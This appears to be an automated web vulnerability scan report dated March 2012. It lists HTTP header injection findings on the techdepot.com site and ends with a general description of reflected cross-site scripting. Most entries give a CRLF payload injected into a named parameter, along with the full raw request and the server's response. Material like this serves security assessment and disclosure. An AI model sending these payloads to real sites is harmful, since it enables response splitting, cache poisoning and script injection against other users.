HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
The value of the SID request parameter is copied into the Location response header. The payload 183fb%0d%0a7bcdf4da5a7 was submitted in the SID parameter. This caused a response containing an injected HTTP header.
Request
GET /?SID=183fb%0d%0a7bcdf4da5a7&odserver=www.officedepot.com HTTP/1.1 Host: www.techdepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 Date: Mon, 05 Mar 2012 01:34:34 GMT P3P:CP="CAO DSP COR CUR ADM TAI DEV PSA PSD OUR BUS NAV STA UNI PHY DEM PUR FIN" X-Powered-By: ASP.NET Connection: close Location: http://www.techdepot.com/pro/default.asp?stchg=1&SID=183fb 7bcdf4da5a7&odserver=www.officedepot.com Content-Length: 229 Content-Type: text/html Expires: Mon, 04 Mar 2002 05:00:00 GMT Set-Cookie: ctype=B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Set-Cookie: NumVisits=1; expires=Sat, 05-Mar-2022 01:34:34 GMT; path=/ Set-Cookie: LastVisit=3%2F4%2F2012+8%3A34%3A34+PM; expires=Sat, 05-Mar-2022 01:34:34 GMT; path=/ Set-Cookie: CustomerID=PTL5N8U3FUXW8LXB1G3Q; expires=Sat, 05-Mar-2022 01:34:34 GMT; path=/ Set-Cookie: ShopperManager%2Ft4s=ShopperManager%2Ft4s=3PGVWA7G2QV08HC05CH69K7X6AKA0K3F; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Cache-control: private
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://www.techdepot.com/pro/default.asp?stchg=1&SID=183fb 7bcdf4da5a7&odserver=www.offic ...[SNIP]...
1.2. http://www.techdepot.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.techdepot.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 3b387%0d%0a51b2804100f was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /?3b387%0d%0a51b2804100f=1 HTTP/1.1 Host: www.techdepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 Date: Mon, 05 Mar 2012 01:34:32 GMT P3P: CP="CAO DSP COR CUR ADM TAI DEV PSA PSD OUR BUS NAV STA UNI PHY DEM PUR FIN Connection: close Location: http://www.techdepot.com/pro/default.asp?stchg=1&3b387 51b2804100f=1 Content-Length: 194 Content-Type: text/html Expires: Mon, 04 Mar 2002 05:00:00 GMT Set-Cookie: ctype=B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Set-Cookie: NumVisits=1; expires=Sat, 05-Mar-2022 01:34:32 GMT; path=/ Set-Cookie: LastVisit=3%2F4%2F2012+8%3A34%3A33+PM; expires=Sat, 05-Mar-2022 01:34:32 GMT; path=/ Set-Cookie: CustomerID=89SLP6FVLAUB8LUJVK24; expires=Sat, 05-Mar-2022 01:34:32 GMT; path=/ Set-Cookie: ShopperManager%2Ft4s=ShopperManager%2Ft4s=SDPFQ7VUKP3W9MFU0KA4TKLL6BDS1761; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Cache-control: private
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://www.techdepot.com/pro/default.asp?stchg=1&3b387 51b2804100f=1">here</a>.</body>
The value of the odserver request parameter is copied into the Location response header. The payload 87c56%0d%0a99684369c33 was submitted in the odserver parameter. This caused a response containing an injected HTTP header.
Request
GET /?SID=null&odserver=87c56%0d%0a99684369c33 HTTP/1.1 Host: www.techdepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 Date: Mon, 05 Mar 2012 01:34:38 GMT P3P: CP="CAO DSP COR CUR ADM TAI DEV PSA PSD OUR BUS NAV STA UNI PHY DEM PUR FIN" Connection: close Location: http://www.techdepot.com/pro/default.asp?stchg=1&SID=null&odserver=87c56 99684369c33 Content-Length: 214 Content-Type: text/html Expires: Mon, 04 Mar 2002 05:00:00 GMT Set-Cookie: ctype=B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Set-Cookie: NumVisits=1; expires=Sat, 05-Mar-2022 01:34:38 GMT; path=/ Set-Cookie: LastVisit=3%2F4%2F2012+8%3A34%3A39+PM; expires=Sat, 05-Mar-2022 01:34:38 GMT; path=/ Set-Cookie: CustomerID=N8R4S6B2WTJR9P2HUSHH; expires=Sat, 05-Mar-2022 01:34:38 GMT; path=/ Set-Cookie: ShopperManager%2Ft4s=ShopperManager%2Ft4s=47GFXEFTNR469N7CFJVC33CNQLDS17UC; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Cache-control: private
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://www.techdepot.com/pro/default.asp?stchg=1&SID=null&odserver=87c56 99684369c33">her ...[SNIP]...
The value of the SID request parameter is copied into the Location response header. The payload 591bf%0d%0a8759d683bb1 was submitted in the SID parameter. This caused a response containing an injected HTTP header.
Request
GET /category.asp?stchg=1&catId=28&iid=1868&SID=591bf%0d%0a8759d683bb1&odserver=www.officedepot.com HTTP/1.1 Host: www.techdepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 Date: Mon, 05 Mar 2012 01:34:56 GMT P3P: CP="CAO DSP COR CUR ADM TAI DEV PSA PSD OUR BUS NAV STA UNI PHY DEM PUR FIN" Connection: close Location: http://www.techdepot.com/pro/category.asp?stchg=1&SID=591bf 8759d683bb1&catId=28&iid=1868&odserver=www.officedepot.com Content-Length: 256 Content-Type: text/html Set-Cookie: ctype=B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Set-Cookie: NumVisits=1; expires=Sat, 05-Mar-2022 01:34:56 GMT; path=/ Set-Cookie: LastVisit=3%2F4%2F2012+8%3A34%3A56+PM; expires=Sat, 05-Mar-2022 01:34:56 GMT; path=/ Set-Cookie: CustomerID=3MJX9FV73AHB9PWT6EGQ; expires=Sat, 05-Mar-2022 01:34:56 GMT; path=/ Set-Cookie: ShopperManager%2Ft4s=ShopperManager%2Ft4s=86X0AGBKPJR69N9UCG60HDX8MVG09ETA; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Cache-control: private
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://www.techdepot.com/pro/category.asp?stchg=1&SID=591bf 8759d683bb1&catId=28&iid= ...[SNIP]...
The value of the iid request parameter is copied into the Location response header. The payload 1bee3%0d%0a5fdfc94c4d1 was submitted in the iid parameter. This caused a response containing an injected HTTP header.
Request
GET /category.asp?stchg=1&catId=28&iid=1bee3%0d%0a5fdfc94c4d1&SID=null&odserver=www.officedepot.com HTTP/1.1 Host: www.techdepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 Date: Mon, 05 Mar 2012 01:34:53 GMT P3P: CP="CAO DSP COR CUR ADM TAI DEV PSA PSD OUR BUS NAV STA UNI PHY DEM PUR FIN" Connection: close Location: http://www.techdepot.com/pro/category.asp?stchg=1&SID=null&catId=28&iid=1bee3 5fdfc94c4d1&odserver=www.officedepot.com Content-Length: 256 Content-Type: text/html Set-Cookie: ctype=B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Set-Cookie: NumVisits=1; expires=Sat, 05-Mar-2022 01:34:54 GMT; path=/ Set-Cookie: LastVisit=3%2F4%2F2012+8%3A34%3A54+PM; expires=Sat, 05-Mar-2022 01:34:54 GMT; path=/ Set-Cookie: CustomerID=60HLL7J1AMBR9GB9W9KH; expires=Sat, 05-Mar-2022 01:34:54 GMT; path=/ Set-Cookie: ShopperManager%2Ft4s=ShopperManager%2Ft4s=LM81HWLALMHQ9KL9FNNB2GE0LJHV19D4; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Cache-control: private
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://www.techdepot.com/pro/category.asp?stchg=1&SID=null&catId=28&iid=1bee3 5fdfc94 ...[SNIP]...
1.6. http://www.techdepot.com/category.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.techdepot.com
Path:
/category.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 1c497%0d%0a514ed4013f3 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /category.asp?1c497%0d%0a514ed4013f3=1 HTTP/1.1 Host: www.techdepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 Date: Mon, 05 Mar 2012 01:34:41 GMT P3P: CP="CAO DSP COR CUR ADM TAI DEV PSA PSD OUR BUS NAV STA UNI PHY DEM PUR FIN" Connection: close Location: http://www.techdepot.com/pro/category.asp?stchg=1&1c497 514ed4013f3=1 Content-Length: 195 Content-Type: text/html Set-Cookie: ctype=B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Set-Cookie: NumVisits=1; expires=Sat, 05-Mar-2022 01:34:40 GMT; path=/ Set-Cookie: LastVisit=3%2F4%2F2012+8%3A34%3A41+PM; expires=Sat, 05-Mar-2022 01:34:40 GMT; path=/ Set-Cookie: CustomerID=8GQ0R5LP5W0D9KR3LUJ0; expires=Sat, 05-Mar-2022 01:34:40 GMT; path=/ Set-Cookie: ShopperManager%2Ft4s=ShopperManager%2Ft4s=FB8L4AWSA1T28G5RFCSW9F35X8DQFQX3; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Cache-control: private
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://www.techdepot.com/pro/category.asp?stchg=1&1c497 514ed4013f3=1">here</a>.</body>
The value of the odserver request parameter is copied into the Location response header. The payload f0ab9%0d%0ac3fbf69ae54 was submitted in the odserver parameter. This caused a response containing an injected HTTP header.
Request
GET /category.asp?stchg=1&catId=28&iid=1868&SID=null&odserver=f0ab9%0d%0ac3fbf69ae54 HTTP/1.1 Host: www.techdepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 Date: Mon, 05 Mar 2012 01:34:57 GMT P3P: CP="CAO DSP COR CUR ADM TAI DEV PSA PSD OUR BUS NAV STA UNI PHY DEM PUR FIN Connection: close Location: http://www.techdepot.com/pro/category.asp?stchg=1&SID=null&catId=28&iid=1868&odserver=f0ab9 c3fbf69ae54 Content-Length: 241 Content-Type: text/html Set-Cookie: ctype=B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Set-Cookie: NumVisits=1; expires=Sat, 05-Mar-2022 01:34:58 GMT; path=/ Set-Cookie: LastVisit=3%2F4%2F2012+8%3A34%3A58+PM; expires=Sat, 05-Mar-2022 01:34:58 GMT; path=/ Set-Cookie: CustomerID=5L4M51S2GPE48GNPDLH8; expires=Sat, 05-Mar-2022 01:34:58 GMT; path=/ Set-Cookie: ShopperManager%2Ft4s=ShopperManager%2Ft4s=BMMA1G0WWKGX9PJV3HHE5S9TJXSCB4M0; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Cache-control: private
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://www.techdepot.com/pro/category.asp?stchg=1&SID=null&catId=28&iid=1868&odser ...[SNIP]...
The value of the SID request parameter is copied into the Location response header. The payload 53b43%0d%0aad107e4bb2d was submitted in the SID parameter. This caused a response containing an injected HTTP header.
Request
GET /store/cat_networking.asp?stchg=1&catid=237&iid=1866&SID=53b43%0d%0aad107e4bb2d&odserver=www.officedepot.com HTTP/1.1 Host: www.techdepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 Date: Mon, 05 Mar 2012 01:34:43 GMT P3P: CP="CAO DSP COR CUR ADM TAI DEV PSA PSD OUR BUS NAV STA UNI PHY DEM PUR FIN Connection: close Location: http://www.techdepot.com/pro/store/cat_networking.asp?stchg=1&SID=53b43 ad107e4bb2d&catid=237&iid=1866&odserver=www.officedepot.com Content-Length: 269 Content-Type: text/html Set-Cookie: ctype=B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Set-Cookie: NumVisits=1; expires=Sat, 05-Mar-2022 01:34:44 GMT; path=/ Set-Cookie: LastVisit=3%2F4%2F2012+8%3A34%3A44+PM; expires=Sat, 05-Mar-2022 01:34:44 GMT; path=/ Set-Cookie: CustomerID=TP8G5PT0RVL38H9GA4TH; expires=Sat, 05-Mar-2022 01:34:44 GMT; path=/ Set-Cookie: ShopperManager%2Ft4s=ShopperManager%2Ft4s=B6NC9EM9HEXE9HQL63MJR038G52L7S4B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Cache-control: private
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://www.techdepot.com/pro/store/cat_networking.asp?stchg=1&SID=53b43 ad107e4bb2d&catid ...[SNIP]...
The value of the catid request parameter is copied into the Location response header. The payload a9875%0d%0a32687a01e00 was submitted in the catid parameter. This caused a response containing an injected HTTP header.
Request
GET /store/cat_networking.asp?stchg=1&catid=a9875%0d%0a32687a01e00&iid=1866&SID=null&odserver=www.officedepot.com HTTP/1.1 Host: www.techdepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 Date: Mon, 05 Mar 2012 01:34:43 GMT P3P: CP="CAO DSP COR CUR ADM TAI DEV PSA PSD OUR BUS NAV STA UNI PHY DEM PUR FIN" Connection: close Location: http://www.techdepot.com/pro/store/cat_networking.asp?stchg=1&SID=null&catid=a9875 32687a01e00&iid=1866&odserver=www.officedepot.com Content-Length: 270 Content-Type: text/html Set-Cookie: ctype=B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Set-Cookie: NumVisits=1; expires=Sat, 05-Mar-2022 01:34:44 GMT; path=/ Set-Cookie: LastVisit=3%2F4%2F2012+8%3A34%3A44+PM; expires=Sat, 05-Mar-2022 01:34:44 GMT; path=/ Set-Cookie: CustomerID=M8EUQMHLDUSL9JG8P01U; expires=Sat, 05-Mar-2022 01:34:44 GMT; path=/ Set-Cookie: ShopperManager%2Ft4s=ShopperManager%2Ft4s=BB0UMJS9S44Q9M98QGDQQLPCA2733NC6; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Cache-control: private
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://www.techdepot.com/pro/store/cat_networking.asp?stchg=1&SID=null&catid=a9875 32687a ...[SNIP]...
The value of the iid request parameter is copied into the Location response header. The payload 3b96b%0d%0a5a9de9af85e was submitted in the iid parameter. This caused a response containing an injected HTTP header.
Request
GET /store/cat_networking.asp?stchg=1&catid=237&iid=3b96b%0d%0a5a9de9af85e&SID=null&odserver=www.officedepot.com HTTP/1.1 Host: www.techdepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 Date: Mon, 05 Mar 2012 01:34:44 GMT P3P:CP="CAO DSP COR CUR ADM TAI DEV PSA PSD OUR BUS NAV STA UNI PHY DEM PUR FIN" X-Powered-By: ASP.NET Connection: close Location: http://www.techdepot.com/pro/store/cat_networking.asp?stchg=1&SID=null&catid=237&iid=3b96b 5a9de9af85e&odserver=www.officedepot.com Content-Length: 269 Content-Type: text/html Set-Cookie: ctype=B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Set-Cookie: NumVisits=1; expires=Sat, 05-Mar-2022 01:34:44 GMT; path=/ Set-Cookie: LastVisit=3%2F4%2F2012+8%3A34%3A44+PM; expires=Sat, 05-Mar-2022 01:34:44 GMT; path=/ Set-Cookie: CustomerID=P8DARG5NGJA28L7KND5N; expires=Sat, 05-Mar-2022 01:34:44 GMT; path=/ Set-Cookie: ShopperManager%2Ft4s=ShopperManager%2Ft4s=60TSUMRUKVT59NQGFFEHSE9T8CKB92C1; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Cache-control: private
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://www.techdepot.com/pro/store/cat_networking.asp?stchg=1&SID=null&catid=237&iid=3 ...[SNIP]...
1.11. http://www.techdepot.com/store/cat_networking.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.techdepot.com
Path:
/store/cat_networking.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 90fd9%0d%0a4c37dd50544 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /store/cat_networking.asp?90fd9%0d%0a4c37dd50544=1 HTTP/1.1 Host: www.techdepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 Date: Mon, 05 Mar 2012 01:34:38 GMT P3P: CP="CAO DSP COR CUR ADM TAI DEV PSA PSD OUR BUS NAV STA UNI PHY DEM PUR FIN" Connection: close Location: http://www.techdepot.com/pro/store/cat_networking.asp?stchg=1&90fd9 4c37dd50544=1 Content-Length: 207 Content-Type: text/html Set-Cookie: ctype=B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Set-Cookie: NumVisits=1; expires=Sat, 05-Mar-2022 01:34:38 GMT; path=/ Set-Cookie: LastVisit=3%2F4%2F2012+8%3A34%3A39+PM; expires=Sat, 05-Mar-2022 01:34:38 GMT; path=/ Set-Cookie: CustomerID=Q1T28VSPQC4J8JN6MV01; expires=Sat, 05-Mar-2022 01:34:38 GMT; path=/ Set-Cookie: ShopperManager%2Ft4s=ShopperManager%2Ft4s=HVTKAWDSB7E29HLXCXEREN1V493X3L76; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Cache-control: private
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://www.techdepot.com/pro/store/cat_networking.asp?stchg=1&90fd9 4c37dd50544=1">here</a>.< ...[SNIP]...
The value of the odserver request parameter is copied into the Location response header. The payload 71b18%0d%0a011be980e03 was submitted in the odserver parameter. This caused a response containing an injected HTTP header.
Request
GET /store/cat_networking.asp?stchg=1&catid=237&iid=1866&SID=null&odserver=71b18%0d%0a011be980e03 HTTP/1.1 Host: www.techdepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 Date: Mon, 05 Mar 2012 01:34:45 GMT P3P: CP="CAO DSP COR CUR ADM TAI DEV PSA PSD OUR BUS NAV STA UNI PHY DEM PUR FIN" Connection: close Location: http://www.techdepot.com/pro/store/cat_networking.asp?stchg=1&SID=null&catid=237&iid=1866&odserver=71b18 011be980e03 Content-Length: 254 Content-Type: text/html Set-Cookie: ctype=B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Set-Cookie: NumVisits=1; expires=Sat, 05-Mar-2022 01:34:44 GMT; path=/ Set-Cookie: LastVisit=3%2F4%2F2012+8%3A34%3A45+PM; expires=Sat, 05-Mar-2022 01:34:44 GMT; path=/ Set-Cookie: CustomerID=XXVNMN5LPQSL9PCCA4X7; expires=Sat, 05-Mar-2022 01:34:44 GMT; path=/ Set-Cookie: ShopperManager%2Ft4s=ShopperManager%2Ft4s=6J5UFTFS6F1R8KA6SJLNR0N9CHGDC5R7; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Cache-control: private
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://www.techdepot.com/pro/store/cat_networking.asp?stchg=1&SID=null&catid=237&iid=1 ...[SNIP]...
The value of the SID request parameter is copied into the Location response header. The payload 8957c%0d%0a35ea27b8fbe was submitted in the SID parameter. This caused a response containing an injected HTTP header.
Request
GET /store/sLic_splash.asp?iid=1865&SID=8957c%0d%0a35ea27b8fbe&odserver=www.officedepot.com HTTP/1.1 Host: www.techdepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 Date: Mon, 05 Mar 2012 01:34:40 GMT P3P:CP="CAO DSP COR CUR ADM TAI DEV PSA PSD OUR BUS NAV STA UNI PHY DEM PUR FIN" X-Powered-By: ASP.NET Connection: close Location: http://www.techdepot.com/pro/store/slic_splash.asp?stchg=1&SID=8957c 35ea27b8fbe&iid=1865&odserver=www.officedepot.com Content-Length: 252 Content-Type: text/html Set-Cookie: ctype=B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Set-Cookie: NumVisits=1; expires=Sat, 05-Mar-2022 01:34:40 GMT; path=/ Set-Cookie: LastVisit=3%2F4%2F2012+8%3A34%3A40+PM; expires=Sat, 05-Mar-2022 01:34:40 GMT; path=/ Set-Cookie: CustomerID=7TW5D1AJB96M8GPFCA4E; expires=Sat, 05-Mar-2022 01:34:40 GMT; path=/ Set-Cookie: ShopperManager%2Ft4s=ShopperManager%2Ft4s=4KLXBX62DKED9NCSA1UQE3LBHCM84RP6; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Cache-control: private
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://www.techdepot.com/pro/store/slic_splash.asp?stchg=1&SID=8957c 35ea27b8fbe&iid=1865 ...[SNIP]...
The value of the iid request parameter is copied into the Location response header. The payload 3a7ca%0d%0a53b6399db87 was submitted in the iid parameter. This caused a response containing an injected HTTP header.
Request
GET /store/sLic_splash.asp?iid=3a7ca%0d%0a53b6399db87&SID=null&odserver=www.officedepot.com HTTP/1.1 Host: www.techdepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 Date: Mon, 05 Mar 2012 01:34:39 GMT P3P: CP="CAO DSP COR CUR ADM TAI DEV PSA PSD OUR BUS NAV STA UNI PHY DEM PUR FIN" Connection: close Location: http://www.techdepot.com/pro/store/slic_splash.asp?stchg=1&SID=null&iid=3a7ca 53b6399db87&odserver=www.officedepot.com Content-Length: 252 Content-Type: text/html Set-Cookie: ctype=B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Set-Cookie: NumVisits=1; expires=Sat, 05-Mar-2022 01:34:40 GMT; path=/ Set-Cookie: LastVisit=3%2F4%2F2012+8%3A34%3A40+PM; expires=Sat, 05-Mar-2022 01:34:40 GMT; path=/ Set-Cookie: CustomerID=XXX30ATETPKJ9N69WC9N; expires=Sat, 05-Mar-2022 01:34:40 GMT; path=/ Set-Cookie: ShopperManager%2Ft4s=ShopperManager%2Ft4s=5H5KLWED6XKX9LWPC47UX6KU02C64BDB; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Cache-control: private
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://www.techdepot.com/pro/store/slic_splash.asp?stchg=1&SID=null&iid=3a7ca 53b6399db87 ...[SNIP]...
1.15. http://www.techdepot.com/store/sLic_splash.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.techdepot.com
Path:
/store/sLic_splash.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 6bc73%0d%0abb3cb8b674c was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /store/sLic_splash.asp?6bc73%0d%0abb3cb8b674c=1 HTTP/1.1 Host: www.techdepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 Date: Mon, 05 Mar 2012 01:34:36 GMT P3P: CP="CAO DSP COR CUR ADM TAI DEV PSA PSD OUR BUS NAV STA UNI PHY DEM PUR FIN Connection: close Location: http://www.techdepot.com/pro/store/slic_splash.asp?stchg=1&6bc73 bb3cb8b674c=1 Content-Length: 204 Content-Type: text/html Set-Cookie: ctype=B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Set-Cookie: NumVisits=1; expires=Sat, 05-Mar-2022 01:34:36 GMT; path=/ Set-Cookie: LastVisit=3%2F4%2F2012+8%3A34%3A36+PM; expires=Sat, 05-Mar-2022 01:34:36 GMT; path=/ Set-Cookie: CustomerID=6J9K0JJ0LUX69K9PTS2C; expires=Sat, 05-Mar-2022 01:34:36 GMT; path=/ Set-Cookie: ShopperManager%2Ft4s=ShopperManager%2Ft4s=NWDM8DQ9U71A9K6T0SNJKDRHJE2B8V9B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Cache-control: private
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://www.techdepot.com/pro/store/slic_splash.asp?stchg=1&6bc73 bb3cb8b674c=1">here</a>.</bo ...[SNIP]...
The value of the odserver request parameter is copied into the Location response header. The payload c39db%0d%0aa56a57d6dbe was submitted in the odserver parameter. This caused a response containing an injected HTTP header.
Request
GET /store/sLic_splash.asp?iid=1865&SID=null&odserver=c39db%0d%0aa56a57d6dbe HTTP/1.1 Host: www.techdepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 Date: Mon, 05 Mar 2012 01:34:39 GMT P3P: CP="CAO DSP COR CUR ADM TAI DEV PSA PSD OUR BUS NAV STA UNI PHY DEM PUR FIN Connection: close Location: http://www.techdepot.com/pro/store/slic_splash.asp?stchg=1&SID=null&iid=1865&odserver=c39db a56a57d6dbe Content-Length: 237 Content-Type: text/html Set-Cookie: ctype=B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Set-Cookie: NumVisits=1; expires=Sat, 05-Mar-2022 01:34:38 GMT; path=/ Set-Cookie: LastVisit=3%2F4%2F2012+8%3A34%3A39+PM; expires=Sat, 05-Mar-2022 01:34:38 GMT; path=/ Set-Cookie: CustomerID=9E4GF7AX8DBS9LMLTU6K; expires=Sat, 05-Mar-2022 01:34:38 GMT; path=/ Set-Cookie: ShopperManager%2Ft4s=ShopperManager%2Ft4s=3LHT4JCGXNX88N289DURHDVT9MGA4XC7; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Cache-control: private
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://www.techdepot.com/pro/store/slic_splash.asp?stchg=1&SID=null&iid=1865&odserver= ...[SNIP]...
2. Cross-site scripting (reflected)previous There are 4 instances of this issue:
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
